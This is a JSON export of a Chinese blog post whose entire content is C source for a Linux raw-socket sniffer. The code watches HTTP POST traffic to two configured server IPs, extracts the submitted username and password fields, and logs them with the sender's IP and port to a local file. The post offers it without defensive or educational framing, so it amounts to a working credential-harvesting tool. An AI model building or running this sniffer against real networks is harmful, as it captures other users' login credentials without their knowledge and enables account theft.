{"id":61,"date":"2013-12-14T14:39:13","date_gmt":"2013-12-14T14:39:13","guid":{"rendered":""},"modified":"2013-12-14T14:39:13","modified_gmt":"2013-12-14T14:39:13","slug":"","status":"publish","type":"post","link":"http:\/\/weizn.net\/?p=61","title":{"rendered":"Sniffer_Email_For_Linux"},"content":{"rendered":"<p>#include &lt;stdio.h&gt;<br \/>\n#include &lt;stdlib.h&gt;<br \/>\n#include &lt;string.h&gt;<br \/>\n#include &lt;netinet\/in.h&gt;&nbsp;&nbsp; \/\/ for sockaddr_in<br \/>\n#include &lt;sys\/types.h&gt;&nbsp;&nbsp;&nbsp; \/\/ for socket<br \/>\n#include &lt;sys\/socket.h&gt;&nbsp;&nbsp; \/\/ for socket<br \/>\n#include &lt;arpa\/inet.h&gt;<br \/>\n#include &lt;netinet\/if_ether.h&gt;<br \/>\n#include &lt;pthread.h&gt;<\/p>\n<p>#define MAX_SIZE 65537<br \/>\n#define USERNAME_1 &#8220;uid&#8221;<br \/>\n#define USERNAME_2 &#8220;user&#8221;<br \/>\n#define PASSWORD &#8220;password&#8221;<br \/>\n#define IPADDRESS_1 &#8220;xxx.xxx.xxx.xxx&#8221;<br \/>\n#define IPADDRESS_2 &#8220;xxx.xxx.xxx.xxx&#8221;<\/p>\n<p>typedef struct DLC_Header<br \/>\n{<br \/>\n&nbsp;&nbsp;&nbsp; unsigned char DesMAC[6];&nbsp;&nbsp;&nbsp;&nbsp; \/\/\u4ee5\u592a\u7f51\u76ee\u7684\u5730\u5740<br \/>\n&nbsp;&nbsp;&nbsp; unsigned char SrcMAC[6];&nbsp;&nbsp;&nbsp;&nbsp; \/\/\u4ee5\u592a\u7f51\u6e90\u5730\u5740<br \/>\n&nbsp;&nbsp;&nbsp; unsigned short EtherType;&nbsp;&nbsp;&nbsp; \/\/\u5e27\u7c7b\u578b<br \/>\n} DLCHEADER;<\/p>\n<p>typedef struct ipheader<br \/>\n{<br \/>\n&nbsp;&nbsp;&nbsp; unsigned char ip_hl:4;&nbsp;&nbsp;&nbsp; \/*header length(\u62a5\u5934\u957f\u5ea6\uff09*\/<br \/>\n&nbsp;&nbsp;&nbsp; unsigned char ip_v:4;&nbsp;&nbsp;&nbsp; \/*version(\u7248\u672c)*\/<br \/>\n&nbsp;&nbsp;&nbsp; unsigned char ip_tos;&nbsp;&nbsp;&nbsp; \/*type os service\u670d\u52a1\u7c7b\u578b*\/<br \/>\n&nbsp;&nbsp;&nbsp; unsigned short int ip_len;&nbsp;&nbsp; \/*total length (\u603b\u957f\u5ea6)*\/<br \/>\n&nbsp;&nbsp;&nbsp; unsigned short int ip_id;&nbsp;&nbsp; \/*identification (\u6807\u8bc6\u7b26)*\/<br \/>\n&nbsp;&nbsp;&nbsp; unsigned short int ip_off;&nbsp;&nbsp; \/*fragment offset field(\u6bb5\u79fb\u4f4d\u57df)*\/<br \/>\n&nbsp;&nbsp;&nbsp; unsigned char ip_ttl;&nbsp;&nbsp;&nbsp; \/*time to live (\u751f\u5b58\u65f6\u95f4)*\/<br \/>\n&nbsp;&nbsp;&nbsp; unsigned char ip_p;&nbsp;&nbsp;&nbsp;&nbsp; \/*protocol(\u534f\u8bae)*\/<br \/>\n&nbsp;&nbsp;&nbsp; unsigned short int ip_sum;&nbsp;&nbsp; \/*checksum(\u6821\u9a8c\u548c)*\/<br \/>\n&nbsp;&nbsp;&nbsp; unsigned int ip_src;&nbsp;&nbsp;&nbsp; \/*source address(\u6e90\u5730\u5740)*\/<br \/>\n&nbsp;&nbsp;&nbsp; unsigned int ip_dst;&nbsp;&nbsp;&nbsp; \/*destination address(\u76ee\u7684\u5730\u5740)*\/<br \/>\n} IP;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \/* total ip header length: 20 bytes (=160 bits) *\/<\/p>\n<p>typedef struct tcpheader<br \/>\n{<br \/>\n&nbsp;&nbsp;&nbsp; unsigned short int sport;&nbsp;&nbsp; \/*source port (\u6e90\u7aef\u53e3\u53f7)*\/<br \/>\n&nbsp;&nbsp;&nbsp; unsigned short int dport;&nbsp;&nbsp; \/*destination port(\u76ee\u7684\u7aef\u53e3\u53f7)*\/<br \/>\n&nbsp;&nbsp;&nbsp; unsigned int th_seq;&nbsp;&nbsp;&nbsp; \/*sequence number(\u5305\u7684\u5e8f\u5217\u53f7)*\/<br \/>\n&nbsp;&nbsp;&nbsp; unsigned int th_ack;&nbsp;&nbsp;&nbsp; \/*acknowledgement number(\u786e\u8ba4\u5e94\u7b54\u53f7)*\/<br \/>\n&nbsp;&nbsp;&nbsp; unsigned char th_x:4;&nbsp;&nbsp;&nbsp; \/*unused(\u672a\u4f7f\u7528)*\/<br \/>\n&nbsp;&nbsp;&nbsp; unsigned char th_off:4;&nbsp;&nbsp;&nbsp; \/*data offset(\u6570\u636e\u504f\u79fb\u91cf)*\/<br \/>\n&nbsp;&nbsp;&nbsp; unsigned char Flags;&nbsp;&nbsp;&nbsp; \/*\u6807\u5fd7\u5168*\/<br \/>\n&nbsp;&nbsp;&nbsp; unsigned short int th_win;&nbsp;&nbsp; \/*windows(\u7a97\u53e3)*\/<br \/>\n&nbsp;&nbsp;&nbsp; unsigned short int th_sum;&nbsp;&nbsp; \/*checksum(\u6821\u9a8c\u548c)*\/<br \/>\n&nbsp;&nbsp;&nbsp; unsigned short int th_urp;&nbsp;&nbsp; \/*urgent pointer(\u7d27\u6025\u6307\u9488)*\/<br \/>\n} TCP;<\/p>\n<p>FILE *file=NULL;<\/p>\n<p>int CreateSocket(int *soc)<br \/>\n{<br \/>\n&nbsp;&nbsp;&nbsp; if((*soc=socket(PF_PACKET,SOCK_RAW,htons(ETH_P_IP)))&lt;0)<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return 0;<\/p>\n<p>&nbsp;&nbsp;&nbsp; return 1;<br \/>\n}<\/p>\n<p>void save(char *packet,char *user,char *pass)<br \/>\n{<br \/>\n&nbsp;&nbsp;&nbsp; IP *IPHeader=NULL;<br \/>\n&nbsp;&nbsp;&nbsp; TCP *TCPHeader=NULL;<\/p>\n<p>&nbsp;&nbsp;&nbsp; IPHeader=(IP *)(packet+sizeof(DLCHEADER));<br \/>\n&nbsp;&nbsp;&nbsp; TCPHeader=(TCP *)(packet+sizeof(DLCHEADER)+sizeof(IP));<\/p>\n<p>&nbsp;&nbsp;&nbsp; fseek(file,0,SEEK_END);<br \/>\n&nbsp;&nbsp;&nbsp; fprintf(file,&#8221;\u6765\u6e90IP:%s\\t\u6765\u6e90\u7aef\u53e3:%d\\tUSER:%s\\tPASS:%s\\n&#8221;,inet_ntoa(*(struct in_addr *)&amp;IPHeader-&gt;ip_src),htons(TCPHeader-&gt;sport),\\<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; user,pass);<br \/>\n&nbsp;&nbsp;&nbsp; fflush(file);<\/p>\n<p>&nbsp;&nbsp;&nbsp; return;<br \/>\n}<\/p>\n<p>void *filter(char *packet,int RecvSize)<br \/>\n{<br \/>\n&nbsp;&nbsp;&nbsp; char *Data=NULL;<br \/>\n&nbsp;&nbsp;&nbsp; char *Puser=NULL,*Ppass=NULL;<br \/>\n&nbsp;&nbsp;&nbsp; char *PuserEnd=NULL,*PpassEnd=NULL;<br \/>\n&nbsp;&nbsp;&nbsp; char user[MAX_SIZE],pass[MAX_SIZE];<br \/>\n&nbsp;&nbsp;&nbsp; char *temp=Data;<br \/>\n&nbsp;&nbsp;&nbsp; int i,user_flag;<\/p>\n<p>&nbsp;&nbsp;&nbsp; if(RecvSize&lt;=sizeof(DLCHEADER)+sizeof(IP)+sizeof(TCP)+5)<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return NULL;<br \/>\n&nbsp;&nbsp;&nbsp; Data=packet+sizeof(DLCHEADER)+sizeof(IP)+sizeof(TCP);<br \/>\n&nbsp;&nbsp;&nbsp; memset(user,NULL,sizeof(user));<br \/>\n&nbsp;&nbsp;&nbsp; memset(pass,NULL,sizeof(pass));<br \/>\n&nbsp;&nbsp;&nbsp; if(strncmp(Data,&#8221;POST&#8221;,4))<br \/>\n&nbsp;&nbsp;&nbsp; {<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \/\/\u6536\u5230\u7684\u4e0d\u662fPOST\u6570\u636e\u5305<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return NULL;<br \/>\n&nbsp;&nbsp;&nbsp; }<br \/>\n&nbsp;&nbsp;&nbsp; for(i=0; i&lt;strlen(Data)-1 &amp;&amp; Data[i]!=NULL; i++)<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(Data[i]==&#8217;\\n&#8217;)<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; temp=Data+i;<br \/>\n&nbsp;&nbsp;&nbsp; Data=temp;<\/p>\n<p>&nbsp;&nbsp;&nbsp; user_flag=0;<br \/>\n&nbsp;&nbsp;&nbsp; if((Puser=strstr(Data,USERNAME_1))==NULL)<br \/>\n&nbsp;&nbsp;&nbsp; {<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; user_flag=1;<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if((Puser=strstr(Data,USERNAME_2))==NULL)<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return NULL;<br \/>\n&nbsp;&nbsp;&nbsp; }<\/p>\n<p>&nbsp;&nbsp;&nbsp; if(user_flag==0)<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Puser+=strlen(USERNAME_1)+1;<br \/>\n&nbsp;&nbsp;&nbsp; else<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Puser+=strlen(USERNAME_2)+1;<\/p>\n<p>&nbsp;&nbsp;&nbsp; if(!(Ppass=strstr(Puser,PASSWORD)))<br \/>\n&nbsp;&nbsp;&nbsp; {<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \/\/POST\u6570\u636e\u5305\u4e2d\u65e0\u6307\u5b9a\u7684\u5b57\u6bb5<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return NULL;<br \/>\n&nbsp;&nbsp;&nbsp; }<\/p>\n<p>&nbsp;&nbsp;&nbsp; Ppass+=strlen(PASSWORD)+1;<br \/>\n&nbsp;&nbsp;&nbsp; PuserEnd=strchr(Puser,&#8217;&amp;&#8217;);<br \/>\n&nbsp;&nbsp;&nbsp; PpassEnd=strchr(Ppass,&#8217;&amp;&#8217;);<br \/>\n&nbsp;&nbsp;&nbsp; if(PpassEnd==NULL) PpassEnd=strchr(Ppass,&#8217;\\0&#8242;);<br \/>\n&nbsp;&nbsp;&nbsp; if(!PuserEnd || !PpassEnd)<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return NULL;<\/p>\n<p>&nbsp;&nbsp;&nbsp; memcpy(user,Puser,PuserEnd-Puser);<br \/>\n&nbsp;&nbsp;&nbsp; memcpy(pass,Ppass,PpassEnd-Ppass);<br \/>\n&nbsp;&nbsp;&nbsp; save(packet,user,pass);<\/p>\n<p>&nbsp;&nbsp;&nbsp; return NULL;<br \/>\n}<\/p>\n<p>int Sniffer(int *soc)<br \/>\n{<br \/>\n&nbsp;&nbsp;&nbsp; IP *IPHeader=NULL;<br \/>\n&nbsp;&nbsp;&nbsp; TCP *TCPHeader=NULL;<br \/>\n&nbsp;&nbsp;&nbsp; char *Data=NULL;<br \/>\n&nbsp;&nbsp;&nbsp; char recvBuff[MAX_SIZE];<br \/>\n&nbsp;&nbsp;&nbsp; int RecvSize;<\/p>\n<p>&nbsp;&nbsp;&nbsp; IPHeader=(IP *)(recvBuff+sizeof(DLCHEADER));<br \/>\n&nbsp;&nbsp;&nbsp; TCPHeader=(TCP *)(recvBuff+sizeof(DLCHEADER)+sizeof(IP));<br \/>\n&nbsp;&nbsp;&nbsp; Data=recvBuff+sizeof(DLCHEADER)+sizeof(IP)+sizeof(TCP);<\/p>\n<p>&nbsp;&nbsp;&nbsp; while(1)<br \/>\n&nbsp;&nbsp;&nbsp; {<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memset(recvBuff,NULL,sizeof(recvBuff));<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if((RecvSize=recvfrom(*soc,recvBuff,sizeof(recvBuff)-1,0,NULL,NULL))&lt;1) continue;<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if((strcmp(inet_ntoa(*(struct in_addr *)&amp;IPHeader-&gt;ip_dst),IPADDRESS_1)==0 || \\<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; strcmp(inet_ntoa(*(struct in_addr *)&amp;IPHeader-&gt;ip_dst),IPADDRESS_2)==0) &amp;&amp; htons(TCPHeader-&gt;dport)==80)<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \/\/\u6570\u636e\u5305\u7684\u76ee\u6807\u5730\u5740\u662f\u672c\u673a<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; filter(recvBuff,RecvSize);<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br \/>\n&nbsp;&nbsp;&nbsp; }<\/p>\n<p>&nbsp;&nbsp;&nbsp; return 1;<br \/>\n}<\/p>\n<p>int main(int argc,char *argv[])<br \/>\n{<br \/>\n&nbsp;&nbsp;&nbsp; int socket;<\/p>\n<p>&nbsp;&nbsp;&nbsp; if(!CreateSocket(&amp;socket))<br \/>\n&nbsp;&nbsp;&nbsp; {<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf(&#8220;\u521b\u5efa\u5957\u63a5\u5b57\u5931\u8d25\u3002\\n&#8221;);<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -1;<br \/>\n&nbsp;&nbsp;&nbsp; }<br \/>\n&nbsp;&nbsp;&nbsp; if((file=fopen(&#8220;Data&#8221;,&#8221;rt+&#8221;))==NULL)<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if((file=fopen(&#8220;Data&#8221;,&#8221;wt+&#8221;))==NULL)<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf(&#8220;\u521b\u5efa\u6587\u4ef6\u5931\u8d25\u3002\\n&#8221;);<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -1;<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br \/>\n&nbsp;&nbsp;&nbsp; printf(&#8220;Start&#8230;\\n&#8221;);<br \/>\n&nbsp;&nbsp;&nbsp; Sniffer(&amp;socket);<\/p>\n<p>&nbsp;&nbsp;&nbsp; return 0;<br \/>\n}<\/p>\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\n\t#include &lt;stdio.h&gt;<br \/>\n#include &lt;stdlib.h&gt;<br \/>\n#include &lt;string.h&gt;<br \/>\n#include &lt;netinet\/in.h&gt;&nbsp;&nbsp; \/\/ for sockaddr_in<br \/>\n#include &lt;sys\/types.h&gt;&nbsp;&nbsp;&nbsp; \/\/ for sock&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[324],"tags":[],"class_list":["post-61","post","type-post","status-publish","format-standard","hentry"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v16.9 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Sniffer_Email_For_Linux - Wayne&#039;s Blog<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"http:\/\/weizn.net\/?p=61\" \/>\n<meta property=\"og:locale\" content=\"zh_CN\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Sniffer_Email_For_Linux - Wayne&#039;s Blog\" \/>\n<meta property=\"og:description\" content=\"#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;string.h&gt; #include &lt;netinet\/in.h&gt;&nbsp;&nbsp; \/\/ for sockaddr_in #include &lt;sys\/types.h&gt;&nbsp;&nbsp;&nbsp; \/\/ for sock...\" \/>\n<meta property=\"og:url\" content=\"http:\/\/weizn.net\/?p=61\" \/>\n<meta property=\"og:site_name\" content=\"Wayne&#039;s Blog\" \/>\n<meta property=\"article:published_time\" content=\"2013-12-14T14:39:13+00:00\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"zinan\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4\" \/>\n\t<meta name=\"twitter:data2\" content=\"6 \u5206\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebSite\",\"@id\":\"http:\/\/weizn.net\/#website\",\"url\":\"http:\/\/weizn.net\/\",\"name\":\"Wayne&#039;s Blog\",\"description\":\"\",\"publisher\":{\"@id\":\"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"http:\/\/weizn.net\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"zh-Hans\"},{\"@type\":\"WebPage\",\"@id\":\"http:\/\/weizn.net\/?p=61#webpage\",\"url\":\"http:\/\/weizn.net\/?p=61\",\"name\":\"Sniffer_Email_For_Linux - Wayne&#039;s Blog\",\"isPartOf\":{\"@id\":\"http:\/\/weizn.net\/#website\"},\"datePublished\":\"2013-12-14T14:39:13+00:00\",\"dateModified\":\"2013-12-14T14:39:13+00:00\",\"breadcrumb\":{\"@id\":\"http:\/\/weizn.net\/?p=61#breadcrumb\"},\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"http:\/\/weizn.net\/?p=61\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"http:\/\/weizn.net\/?p=61#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"\\u9996\\u9875\",\"item\":\"http:\/\/weizn.net\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Sniffer_Email_For_Linux\"}]},{\"@type\":\"Article\",\"@id\":\"http:\/\/weizn.net\/?p=61#article\",\"isPartOf\":{\"@id\":\"http:\/\/weizn.net\/?p=61#webpage\"},\"author\":{\"@id\":\"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264\"},\"headline\":\"Sniffer_Email_For_Linux\",\"datePublished\":\"2013-12-14T14:39:13+00:00\",\"dateModified\":\"2013-12-14T14:39:13+00:00\",\"mainEntityOfPage\":{\"@id\":\"http:\/\/weizn.net\/?p=61#webpage\"},\"wordCount\":1210,\"commentCount\":0,\"publisher\":{\"@id\":\"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264\"},\"articleSection\":[\"C\/C++\"],\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"http:\/\/weizn.net\/?p=61#respond\"]}]},{\"@type\":[\"Person\",\"Organization\"],\"@id\":\"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264\",\"name\":\"zinan\",\"logo\":{\"@id\":\"http:\/\/weizn.net\/#personlogo\"}}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Sniffer_Email_For_Linux - Wayne&#039;s Blog","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"http:\/\/weizn.net\/?p=61","og_locale":"zh_CN","og_type":"article","og_title":"Sniffer_Email_For_Linux - Wayne&#039;s Blog","og_description":"#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;string.h&gt; #include &lt;netinet\/in.h&gt;&nbsp;&nbsp; \/\/ for sockaddr_in #include &lt;sys\/types.h&gt;&nbsp;&nbsp;&nbsp; \/\/ for sock...","og_url":"http:\/\/weizn.net\/?p=61","og_site_name":"Wayne&#039;s Blog","article_published_time":"2013-12-14T14:39:13+00:00","twitter_card":"summary_large_image","twitter_misc":{"\u4f5c\u8005":"zinan","\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4":"6 \u5206"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebSite","@id":"http:\/\/weizn.net\/#website","url":"http:\/\/weizn.net\/","name":"Wayne&#039;s Blog","description":"","publisher":{"@id":"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"http:\/\/weizn.net\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"zh-Hans"},{"@type":"WebPage","@id":"http:\/\/weizn.net\/?p=61#webpage","url":"http:\/\/weizn.net\/?p=61","name":"Sniffer_Email_For_Linux - Wayne&#039;s Blog","isPartOf":{"@id":"http:\/\/weizn.net\/#website"},"datePublished":"2013-12-14T14:39:13+00:00","dateModified":"2013-12-14T14:39:13+00:00","breadcrumb":{"@id":"http:\/\/weizn.net\/?p=61#breadcrumb"},"inLanguage":"zh-Hans","potentialAction":[{"@type":"ReadAction","target":["http:\/\/weizn.net\/?p=61"]}]},{"@type":"BreadcrumbList","@id":"http:\/\/weizn.net\/?p=61#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"\u9996\u9875","item":"http:\/\/weizn.net\/"},{"@type":"ListItem","position":2,"name":"Sniffer_Email_For_Linux"}]},{"@type":"Article","@id":"http:\/\/weizn.net\/?p=61#article","isPartOf":{"@id":"http:\/\/weizn.net\/?p=61#webpage"},"author":{"@id":"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264"},"headline":"Sniffer_Email_For_Linux","datePublished":"2013-12-14T14:39:13+00:00","dateModified":"2013-12-14T14:39:13+00:00","mainEntityOfPage":{"@id":"http:\/\/weizn.net\/?p=61#webpage"},"wordCount":1210,"commentCount":0,"publisher":{"@id":"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264"},"articleSection":["C\/C++"],"inLanguage":"zh-Hans","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["http:\/\/weizn.net\/?p=61#respond"]}]},{"@type":["Person","Organization"],"@id":"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264","name":"zinan","logo":{"@id":"http:\/\/weizn.net\/#personlogo"}}]}},"_links":{"self":[{"href":"http:\/\/weizn.net\/index.php?rest_route=\/wp\/v2\/posts\/61","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/weizn.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/weizn.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/weizn.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/weizn.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=61"}],"version-history":[{"count":0,"href":"http:\/\/weizn.net\/index.php?rest_route=\/wp\/v2\/posts\/61\/revisions"}],"wp:attachment":[{"href":"http:\/\/weizn.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=61"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/weizn.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=61"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/weizn.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=61"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}